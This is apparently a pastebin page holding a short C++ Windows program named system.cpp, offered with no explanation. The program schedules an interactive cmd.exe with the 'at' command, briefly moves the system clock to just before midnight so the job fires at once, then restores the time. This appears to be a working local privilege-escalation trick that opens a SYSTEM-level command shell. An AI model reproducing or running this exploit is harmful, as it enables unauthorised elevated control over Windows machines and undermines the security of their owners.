Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as text by nix ( 18 years ago )
// system.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int _tmain(int argc, _TCHAR* argv[])
{
    SYSTEMTIME startTime;
    SYSTEMTIME nowTime;

    GetLocalTime (&nowTime);
    startTime = nowTime;
    printf ("Current time: %02i:%02i:%02i:%02in",nowTime.wHour, nowTime.wMinute, nowTime.wSecond, nowTime.wMilliseconds);

    system ("at 00:00 /interactive cmd.exe");

    nowTime.wHour = 23;
    nowTime.wMinute = 59;
    nowTime.wSecond = 59;
    nowTime.wMilliseconds = 500;
    SetLocalTime (&nowTime);

    Sleep (1000);
    nowTime = startTime;
    SetLocalTime (&startTime);

	return 0;
}

 

Revise this Paste

Your Name: Code Language: